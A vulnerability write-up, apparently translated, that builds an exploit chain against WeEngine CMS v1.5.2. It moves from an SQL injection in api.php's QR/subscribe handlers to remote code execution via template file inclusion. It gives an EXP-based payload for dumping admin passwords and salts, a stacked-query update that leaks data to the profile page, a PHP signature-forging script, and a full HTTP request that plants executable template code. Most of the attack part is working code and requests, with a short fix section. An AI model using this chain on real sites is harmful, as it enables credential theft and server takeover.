WeEngine CMS: From SQL Injection to RCE

Summary0x01 Preface. WeEngine CMS quietly fixed an SQL injection vulnerability in version 2.0. No analysis of the injection point could be found online, so this article examines its exploitation. 0x02 Affected versions. Testing shows the vulnerability in v1.5.2 from the official GitLee repository and a fix in 2.0, so at least v1.5.2 is affected…

SQLrceWeEngine

0x01 Preface

WeEngine CMS quietly fixed an SQL injection vulnerability in version 2.0:

1.png

No public analysis of this injection point appears to exist, so this article examines how to exploit it.

0x02 Affected Versions

Testing the official GitLee repository shows the issue in v1.5.2 contains the vulnerability. In 2.0 versionFixfixed the issue, so at least v1.5.2 appears affected.

0x03 SQL Injection Analysis

The injection analysis is straightforward; begin from the vulnerable code.api.php Two functions beginning around lines 530 and 564:

PHP
private function analyzeSubscribe(&$message) {
		global $_W;
		$params = array();
		$message['type'] = 'text';
		$message['redirection'] = true;
		if(!empty($message['scene'])) {
			$message['source'] = 'qr';
			$sceneid = trim($message['scene']);
			$scene_condition = '';
			if (is_numeric($sceneid)) {
				$scene_condition = " `qrcid` = '{$sceneid}'";
			}else{
				$scene_condition = " `scene_str` = '{$sceneid}'";
			}
			$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");
			if(!empty($qr)) {
				$message['content'] = $qr['keyword'];
				if (!empty($qr['type']) && $qr['type'] == 'scene') {
					$message['msgtype'] = 'text';
				}
				$params += $this->analyzeText($message);
				return $params;
			}
		}
		$message['source'] = 'subscribe';
		$setting = uni_setting($_W['uniacid'], array('welcome'));
		if(!empty($setting['welcome'])) {
			$message['content'] = $setting['welcome'];
			$params += $this->analyzeText($message);
		}

		return $params;
	}

	private function analyzeQR(&$message) {
		global $_W;
		$params = array();
		$params = $this->handler($message['type']);
		if (!empty($params)) {
			return $params;
		}
		$message['type'] = 'text';
		$message['redirection'] = true;
		if(!empty($message['scene'])) {
			$message['source'] = 'qr';
			$sceneid = trim($message['scene']);
			$scene_condition = '';
			if (is_numeric($sceneid)) {
				$scene_condition = " `qrcid` = '{$sceneid}'";
			}else{
				$scene_condition = " `scene_str` = '{$sceneid}'";
			}
			$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");

		}
		if (empty($qr) && !empty($message['ticket'])) {
			$message['source'] = 'qr';
			$ticket = trim($message['ticket']);
			if(!empty($ticket)) {
				$qr = pdo_fetchall("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE `uniacid` = '{$_W['uniacid']}' AND ticket = '{$ticket}'");
				if(!empty($qr)) {
					if(count($qr) != 1) {
						$qr = array();
					} else {
						$qr = $qr[0];
					}
				}
			}
		}
		if(!empty($qr)) {
			$message['content'] = $qr['keyword'];
			if (!empty($qr['type']) && $qr['type'] == 'scene') {
				$message['msgtype'] = 'text';
			}
			$params += $this->analyzeText($message);
		}
		return $params;
	}

inanalyzeSubscribeSQL in the function:

PHP
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");

directly place$scene_conditionvariable is concatenated intopod_fetchfunction, while$scene_conditionvariable receives its value from$sceneid = trim($message['scene']);. It only trims whitespace from both ends of the string, so construct$message['scene']value to construct the SQL statement.

inanalyzeQRThe same applies in the function, so useanalyzeSubscribefunction as the example for constructing the PoC.

0x04 Constructing the SQL Injection

WeEngine attempts to prevent SQL injection with parameterized queries and keyword and character filters.

The filter blocks:

framework/class/db.class.php Line 700:

PHP
private static $disable = array(
		'function' => array('load_file', 'floor', 'hex', 'substring', 'if', 'ord', 'char', 'benchmark', 'reverse', 'strcmp', 'datadir', 'updatexml', 'extractvalue', 'name_const', 'multipoint', 'database', 'user'),
		'action' => array('@', 'intooutfile', 'intodumpfile', 'unionselect', 'uniondistinct', 'information_schema', 'current_user', 'current_date'),
		'note' => array('/*', '*/', '#', '--'),
	);

The following functions are blocked:

  • load_file、floor、hex、substring、if、ord、char、benchmark、reverse、reverse、strcmp、datadir、datadir、updatexml、extractvalue、name_const、multipoint、database、user

The following keywords are blocked:

  • @、into outfile、into dumpfile、union select、union all、union distinct、information_schema、current_user、current_date

The following comment characters are blocked:

  • /**/--#

This complicates payload construction.

First reconstruct the SQL in the function:

SQL
SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = ? and uniacid = $_W['uniacid'];

To retrieve the administrator credentials without blocked sensitive characters, use an exploit statement such as:

SQL
SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = 1 AND(EXP(~(SELECT*from(select group_concat(0x7B,uid,0x23,password,0x23,salt,0x23,lastvisit,0x23,lastip,0x7D) from we7.ims_users)a))) and uniacid = $_W['uniacid'];

My local MySQL version was unsuitable, so the complete construction is omitted.

Now consider another injection technique.

WeEngine issues SQL through PDO, which supports stacked queries.

Note that PDO can execute multiple SQL statements but returns only the first statement's result. The second statement must therefore update data that can be viewed through the page, allowing the injected data to be recovered.

Testing confirms that WeEngine allows user registration:

Registration

After signing in, the profile center shows:

3.png

The mailing address is a convenient display field, so the following statement can be executed.

SQL
update ims_users_profile set address=(select username from ims_users where uid =1 ) where uid=2;

in the statement2is the registered account's uid and can be found in the cookie:

4.png

One problem remains: before injecting, we must validate

api.php Line 181:

PHP
if(empty($this->account)) {
			exit('Miss Account.');
}
if(!$this->account->checkSign()) {
			exit('Check Sign Fail.');
}

Follow the callcheckSign()

PHP
public function checkSign() {
		$arrParams = array(
			$token = $this->account['token'],
			$intTimeStamp = $_GET['timestamp'],
			$strNonce = $_GET['nonce'],
		);
		sort($arrParams, SORT_STRING);
		$strParam = implode($arrParams);
		$strSignature = sha1($strParam);

		return $strSignature == $_GET['signature'];
	}

Three variables must be validated. Their generation rules are inapi.php At line 129,encryptfunction:

PHP
public function encrypt() {
		global $_W;
		if(empty($this->account)) {
			exit('Miss Account.');
		}
		$timestamp = TIMESTAMP;
		$nonce = random(5);
		$token = $_W['account']['token'];
		$signkey = array($token, TIMESTAMP, $nonce);
		sort($signkey, SORT_STRING);
		$signString = implode($signkey);
		$signString = sha1($signString);

		$_GET['timestamp'] = $timestamp;
		$_GET['nonce'] = $nonce;
		$_GET['signature'] = $signString;
		$postStr = file_get_contents('php://input');
		if(!empty($_W['account']['encodingaeskey']) && strlen($_W['account']['encodingaeskey']) == 43 && !empty($_W['account']['key']) && $_W['setting']['development'] != 1) {
			$data = $this->account->encryptMsg($postStr);
			$array = array('encrypt_type' => 'aes', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);
		} else {
			$data = array('', '');
			$array = array('encrypt_type' => '', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);
		}
		exit(json_encode($array));
	}

wheretimestampis a timestamp,nonceis a five-character random string,signatureis the SHA-1 hash of$signString, while$signStringis composed from tokentimestampnonce. It is generated from hard-coded values, so useprint_r($_W)obtaintokenvalue, as follows:

5.png

The following code generates it:

PHP
<?php
$timestamp = time();
$nonce = random(5);
$token = "omJNpZEhZeHj1ZxFECKkP48B5VFbk1HP";
$signkey = array($token, $timestamp, $nonce);
sort($signkey, SORT_STRING);
$signString = implode($signkey);
$signString = sha1($signString);
echo $timestamp . " | ".$nonce." | ".$signString;
function random($length) {
	    $strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklnmopqrstuvwxyz0123456789';
	    $result = substr(str_shuffle($strs),mt_rand(0,strlen($strs)-($length + 1)),$length);
	    return $result;
    }
?>

This yields:

TEXT
1622388248 | SATNv | d886b80d868b6fb1038c77f1f26ae5f2891a3b22

Then, based onOfficial documentationmessage format in

6.png

The final payload is:

7.png

The final value appears in the profile center:

8.png

This approach is cumbersome and of limited value: decryption is difficult, directly adding an account leaves many traces, and even after signing in, an attacker still needs a shell.

Is there a way to complete everything in one step?

0x05 From SQL Injection to RCE

/app/source/home/page.ctrl.phpfile:

PHP
$do = in_array($do, $dos) ? $do : 'index';
$id = intval($_GPC['id']);

if($do == 'getnum'){
	$goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));
	message(error('0', array('goodnum' => $goodnum['goodnum'])), '', 'ajax');
} elseif($do == 'addnum'){
	if(!isset($_GPC['__havegood']) || (!empty($_GPC['__havegood']) && !in_array($id, $_GPC['__havegood']))) {
		$goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));
		if(!empty($goodnum)){
			$updatesql = pdo_update('site_page', array('goodnum' => $goodnum['goodnum'] + 1), array('id' => $id));
			if(!empty($updatesql)) {
				isetcookie('__havegood['.$id.']', $id, 86400*30*12);
				message(error('0', ''), '', 'ajax');
			}else {
				message(error('1', ''), '', 'ajax');
			}
		}
	}
} else {
	$footer_off = true;
	template_page($id);
}

First check$dotype. If it is notgetnumandaddnum, execution enterstemplate_pagefunction.

Follow the call/app/common/template.func.php Line 111:

PHP
function template_page($id, $flag = TEMPLATE_DISPLAY) {
	global $_W;
	$page = pdo_fetch("SELECT * FROM ".tablename('site_page')." WHERE id = :id LIMIT 1", array(':id' => $id));
	if (empty($page)) {
		return error(1, 'Error: Page is not found');
	}
	if (empty($page['html'])) {
		return '';
	}
	$page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_', $page['html']);
	$page['html'] = preg_replace('/<\s*?script.*(src|language)+/i', '_', $page['html']);
	$page['params'] = json_decode($page['params'], true);
	$GLOBALS['title'] = htmlentities($page['title'], ENT_QUOTES, 'UTF-8');
	$GLOBALS['_share'] = array('desc' => $page['description'], 'title' => $page['title'], 'imgUrl' => tomedia($page['params']['0']['params']['thumb']));;

	$compile = IA_ROOT . "/data/tpl/app/{$id}.{$_W['template']}.tpl.php";
	$path = dirname($compile);
	if (!is_dir($path)) {
		load()->func('file');
		mkdirs($path);
	}
	$content = template_parse($page['html']);
	if (!empty($page['params'][0]['params']['bgColor'])) {
		$content .= '<style>body{background-color:'.$page['params'][0]['params']['bgColor'].' !important;}</style>';
	}
	$GLOBALS['bottom_menu'] = $page['params'][0]['property'][0]['params']['bottom_menu'];
	file_put_contents($compile, $content);
	switch ($flag) {
		case TEMPLATE_DISPLAY:
		default:
			extract($GLOBALS, EXTR_SKIP);
			template('common/header');
			include $compile;
			template('common/footer');
			break;
		case TEMPLATE_FETCH:
			extract($GLOBALS, EXTR_SKIP);
			ob_clean();
			ob_start();
			include $compile;
			$contents = ob_get_contents();
			ob_clean();
			return $contents;
			break;
		case TEMPLATE_INCLUDEPATH:
			return $compile;
			break;
	}
}

First, according toidfromims_site_pagereads page information from the database table, filters sensitive data, and then usesfile_put_contentswrite into$compile, then inswitchis included ininclude $compile;

We can therefore use SQL injection toims_site_pageinsert one-line webshell data into the table:

HTTP
POST /wq/new/api.php?id=1&timestamp=1622388248&nonce=SATNv&signature=d886b80d868b6fb1038c77f1f26ae5f2891a3b22 HTTP/1.1
Host: 192.168.49.47
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close
Content-Length: 440


<xml>
<ToUserName>one</ToUserName>
<FromUserName>two</FromUserName>
<CreateTime>1348831806</CreateTime>
<MsgType>qr</MsgType>
<Content>test</Content>
<type>text</type>
<Event>hello</Event>
<scene>test';insert into ims_site_page(id,uniacid,multiid,title,description,params,html,multipage,type,status,createtime,goodnum) values(1,1,1,'4','5','[{"params":{"thumb":""}}]','{if phpinfo())?>//}','8','9','10','11','12');</scene>
</xml>
8-2.png

For an example of the PHP template content, see:PHP statement

Then, according to the official documentation,Routing Overview

9.png

then:

9-2.png

Code execution succeeds.

0x06 Fix

The chain begins with SQL injection. Once that is fixed, the subsequent file inclusion can no longer be exploited.

The official fix is:

10.png

was replaced with WeEngine's built-in parameterized query.

0x07 Closing Notes

This is an old vulnerability, so building the environment involved many pitfalls, but the flaw itself is easy to understand.

Finally, thanks to Xu for the guidance and for continuing to teach me over the weekend.

0x08 References

https://www.kancloud.cn/donknap/we7/134649

https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542

https://wiki.w7.cc/chapter/35?id=507

https://gitee.com/we7coreteam/pros/commit/1f5ffb82836f7602f3acbaf9e93e9aa087c93579)